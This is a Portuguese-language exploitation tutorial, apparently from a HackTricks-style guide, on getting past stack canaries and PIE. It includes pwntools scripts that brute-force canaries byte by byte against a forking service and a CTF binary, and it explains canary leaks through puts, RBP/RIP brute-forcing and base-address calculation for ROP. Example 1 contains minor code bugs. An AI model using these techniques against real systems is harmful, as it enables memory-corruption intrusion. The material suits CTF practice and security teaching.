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Se você estiver enfrentando um binário protegido por um canário e PIE (Executable Position Independent), provavelmente precisará encontrar uma maneira de contorná-los.

{% hint style="info" %} Observe que o checksec pode não encontrar que um binário está protegido por um canário se isso foi compilado estaticamente e não é capaz de identificar a função.
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. {% endhint %}

Força bruta no Canary

A melhor maneira de contornar um canário simples é se o binário for um programa que cria processos filhos toda vez que você estabelece uma nova conexão com ele (serviço de rede), porque toda vez que você se conecta a ele, o mesmo canário será usado.

Então, a melhor maneira de contornar o canário é apenas forçá-lo caractere por caractere, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função força bruta um canário de 8 Bytes (x64) e distingue entre um byte adivinhado correto e um byte ruim apenas verificando se uma resposta é enviada de volta pelo servidor (outra maneira em outras situações poderia ser usando um try/except):

Exemplo 1

Este exemplo é implementado para 64 bits, mas pode ser facilmente implementado para 32 bits.

from pwn import *

def connect():
    r = remote("localhost", 8788)

def get_bf(base):
    canary = ""
    guess = 0x0
    base += canary

    while len(canary) < 8:
        while guess != 0xff:
            r = connect()

            r.recvuntil("Username: ")
            r.send(base + chr(guess))

            if "SOME OUTPUT" in r.clean():
                print "Guessed correct byte:", format(guess, '02x')
                canary += chr(guess)
                base += chr(guess)
                guess = 0x0
                r.close()
                break
            else:
                guess += 1
                r.close()

    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
    return base
    
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemplo 2

Isso foi implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.
Observe também que, para este exemplo, o programa espera primeiro um byte para indicar o tamanho da entrada e, em seguida, o payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
	known_canary = b""
	test_canary = 0x0
	len_bytes_to_read = 0x21
	
	for j in range(0, 4):
		# Iterate up to 0xff times to brute force all posible values for byte
		for test_canary in range(0xff):
			print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
			
			# Send the current input size
			target.send(len_bytes_to_read.to_bytes(1, "little"))

			# Send this iterations canary
			target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

			# Scan in the output, determine if we have a correct value
			output = target.recvuntil(b"exit.")
			if b"YUM" in output:
				# If we have a correct value, record the canary value, reset the canary value, and move on
				print(" - next byte is: " + hex(test_canary))
				known_canary = known_canary + test_canary.to_bytes(1, "little")
				len_bytes_to_read += 1
				break

	# Return the canary
	return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Imprimir o Canary

Outra maneira de contornar o canary é imprimi-lo.
Imagine uma situação em que um programa vulnerável a estouro de pilha pode executar uma função puts apontando para parte do estouro de pilha. O atacante sabe que o primeiro byte do canary é um byte nulo (\x00) e o restante do canary são bytes aleatórios. Então, o atacante pode criar um estouro que sobrescreve a pilha até o primeiro byte do canary.
Em seguida, o atacante chama a funcionalidade puts no meio da carga útil, que irá imprimir todo o canary (exceto o primeiro byte nulo).
Com essas informações, o atacante pode criar e enviar um novo ataque conhecendo o canary (na mesma sessão do programa)

Obviamente, essa tática é muito restrita, pois o atacante precisa ser capaz de imprimir o conteúdo de sua carga útil para extrair o canary e, em seguida, ser capaz de criar uma nova carga útil (na mesma sessão do programa) e enviar o real estouro de buffer.
Exemplo de CTF: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Para contornar o PIE, você precisa vazar algum endereço. E se o binário não estiver vazando nenhum endereço, o melhor a fazer é forçar a barra do RBP e RIP salvos na pilha na função vulnerável.
Por exemplo, se um binário é protegido usando tanto um canary quanto o PIE, você pode começar a forçar a barra do canary, então os próximos 8 bytes (x64) serão o RBP salvo e os próximos 8 bytes serão o RIP salvo.

Para forçar a barra do RBP e do RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir algo ou se ele simplesmente não travar. A mesma função fornecida para forçar a barra do canary pode ser usada para forçar a barra do RBP e do RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Obter o endereço base

A última coisa que você precisa para derrotar o PIE é calcular endereços úteis a partir dos endereços vazados: o RBP e o RIP.

A partir do RBP, você pode calcular onde está escrevendo seu shell na pilha. Isso pode ser muito útil para saber onde você vai escrever a string "/bin/sh\x00" dentro da pilha. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um ponto de interrupção após vazar o RBP e verificar onde seu shellcode está localizado, então, você pode calcular a distância entre o shellcode e o RBP:

INI_SHELLCODE = RBP - 1152

A partir do RIP, você pode calcular o endereço base do binário PIE, que é o que você vai precisar para criar uma cadeia ROP válida.
Para calcular o endereço base, basta fazer objdump -d vunbinary e verificar os últimos endereços desmontados:

Nesse exemplo, você pode ver que apenas 1 byte e meio é necessário para localizar todo o código, então, o endereço base, nessa situação, será o RIP vazado, mas terminando em "000". Por exemplo, se você vazou 0x562002970ecf, o endereço base é 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
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